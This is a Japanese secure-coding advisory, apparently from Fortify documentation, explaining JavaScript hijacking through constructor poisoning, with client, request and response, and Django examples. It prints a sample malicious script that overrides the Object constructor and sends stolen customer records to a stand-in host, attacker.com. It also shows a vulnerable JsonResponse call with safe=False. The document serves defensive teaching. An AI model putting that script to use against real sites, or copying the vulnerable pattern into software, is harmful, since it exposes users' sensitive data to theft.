JavaScript Hijacking: Constructor Poisoning

機密データの転送のために JavaScript 表記を使用するアプリケーションは、JavaScript 乗っ取り攻撃に対して脆弱である可能性があり、権限のない攻撃者が機密データを読み取ることができるようになります。ブラウザの JavaScript エンジンが配列コンストラクタのポイズニングを許す場合、JavaScript 配列を盗まれる可能性があります。

次の場合にアプリケーションは JavaScript 乗っ取り攻撃に対して脆弱となる可能性があります。
1) データ転送形式として JavaScript オブジェクトを使用する場合。
2) 機密データを扱う場合。JavaScript 乗っ取り攻撃はコード作成ミスの直接的な結果として発生するものではありません。そのため、Fortify Secure Coding Rulepacks では、HTTP レスポンスで JavaScript を生成する可能性があるコードを識別して、潜在的な JavaScript 乗っ取り攻撃の脆弱性に注意するよう呼び掛けています。

Web ブラウザでは、悪意ある Web サイトからユーザーを保護するために同一生成元ポリシーが強制されます。同一生成元ポリシーでは、JavaScript が Web ページのコンテンツにアクセスできるように、JavaScript および Web ページの両方が同じドメインを由来としていることが必要とされます。同一生成元ポリシーが適用されない場合、他の Web サイトからクライアントの証明書を使用して機密性の高い情報をロードして選び取り、攻撃者にこれらの情報を戻す JavaScript が悪意ある Web サイトによって仕組まれる可能性があります。JavaScript 乗っ取り攻撃により、Web アプリケーションが機密情報のやり取りに JavaScript を使用する場合に、攻撃者は 同一生成元ポリシーを回避することが可能となります。同一生成元ポリシーに抜け穴があると、任意の Web サイトの JavaScript が追加され他の Web サイトのコンテンツが実行されることになります。悪意あるサイトはクライアント上の脆弱なサイトからロードされたデータを直接調べることはできませんが、JavaScript の実行やその実行によって引き起こされる副次的な状況を把握できる環境を整えるという方法で、この抜け穴を利用することができます。多くの Web 2.0 アプリケーションはデータ転送メカニズムとして JavaScript を使用しているため、脆弱となるケースが多くなっています (通常の Web アプリケーションは脆弱ではありません)。

JavaScript で情報をやり取りする場合の最も一般的な形式は JavaScript Object Notation (JSON) です。JSON RFC により、JSON 構文は JavaScript オブジェクトリテラル構文のサブセットとして定義されています。JSON は、配列とオブジェクトの 2 種類のデータ構造に基づいています。メッセージを 1 つ以上の有効な JavaScript ステートメントとして解釈することができるあらゆるデータ転送形式は、JavaScript 乗っ取り攻撃に対して脆弱です。JSON 配列は有効な JavaScript ステートメントとして独立しているため、JSON では JavaScript 乗っ取り攻撃を受けやすくなります。配列はリストをやり取りする場合に最も一般的に使用される形式であるため、アプリケーションが複数の値をやり取りする必要がある場合には頻繁に使用されます。言い換えれば、JSON 配列は JavaScript 乗っ取り攻撃に対して直接脆弱となっています。JSON オブジェクトは有効な JavaScript ステートメントとして独立している別の JavaScript 構造体にラップされる場合にのみ、脆弱となります。

例 1: 次の例ではまず、有益な顧客リストを管理するために使用される Web アプリケーションのクライアント コンポーネントおよびサーバー コンポーネント間における正規の JSON の相互処理について示します。次に、攻撃者がクライアントになりすまし、サーバーが返す機密データにアクセスする方法を示します。この例は Mozilla ベースのブラウザについて記述したものです。他の主要なブラウザでは、新しい演算子を使用せずにオブジェクトが作成される場合にネイティブ構造体は上書きできなくなっています。

クライアントはサーバーからデータをリクエストして、次のコードで JSON として結果を評価します。

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

このコードが実行されると、次のような HTTP リクエストが生成されます。

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

(この HTTP レスポンスおよび後続のコードでは、この説明に直接関係のない HTTP ヘッダーは省略されています。)
サーバーは JSON 形式の配列を使用してレスポンスします。

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

この場合、JSON には現在のユーザーに関する機密情報 (有益な顧客リスト) が含まれています。このユーザーのセッション ID を把握していない場合、他のユーザーはこの情報にはアクセスできません(最近の Web アプリケーションは、セッション ID は cookie として保存されます)。しかし、ユーザー (被害者) が悪意ある Web サイトにアクセスすると、この悪意あるサイトは JavaScript 乗っ取り攻撃によりこの情報を取得することが可能となります。ユーザーが以下のような悪意あるコードが含む Web ページにアクセスするように仕組まれる場合、この被害者の顧客リストが攻撃者の Web サイトに送信されてしまいます。

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

この悪意あるコードでは、現在のページに JSON オブジェクトを追加するためにスクリプトタグが使用されています。Web ブラウザは、リクエストと共に適切なセッション cookie を送信します。言い換えると、このリクエストは正規のアプリケーションから出されたものとして処理されます。

JSON 配列がこのクライアントに到着すると、悪意あるページのコンテキストで評価されます。JSON の評価を見るために、悪意あるページでは新しいオブジェクトを作成するようにこの JavaScript 関数が再定義されています。このように、悪意あるコードにより仕掛けが挿入され、作成された各オブジェクトにアクセスされオブジェクトのコンテンツが悪意あるサイトへ転送されるようになります。また、他の攻撃により配列のデフォルトの構造体が上書きされる場合もあります。マッシュアップでの使用を目的としてビルドされているアプリケーションは、各 JavaScript メッセージの最後でコールバック関数を呼び出すことがあります。このコールバック関数は、マッシュアップにおける他のアプリケーションにより定義されるようになっています。このコールバック関数の存在が JavaScript 乗っ取り攻撃の実行を容易にしています。攻撃者が実行する必要があるのは、関数を定義することだけです。アプリケーションはマッシュアップ対応にすることもできます。また、セキュリティを重視するようにすることもできますが、それらを両立することはできません。脆弱なサイト ユーザーがログインすると、攻撃者はユーザーにログインするように求め、次にアプリケーションの正規のログイン ページを表示することで、この攻撃を行うことができます。

攻撃者はユーザーの認証情報にはアクセスできませんので、これはフィッシング攻撃ではありません。そのため、フィッシング攻撃への対応策では、この攻撃を防ぐことはできません。さらに複雑な攻撃では、動的にスクリプトタグを生成する JavaScript を使用し、アプリケーションに対して一連のリクエストを行うことが可能です。これと同じ手法はアプリケーションマッシュアップを作成するために使用されます。このマッシュアップシナリオにおける唯一の相違点は、関連付けられるアプリケーションの 1 つが悪意あるものであることです。

例 2: 次のコードは、JSON 配列の形式で機密データを含む JSON レスポンスを送信するサンプル Django 表示メソッドです。

from django.http.response import JsonResponse
...
def handle_upload(request):
  response = JsonResponse(sensitive_data, safe=False)  # Sensitive data is stored in a list
  return response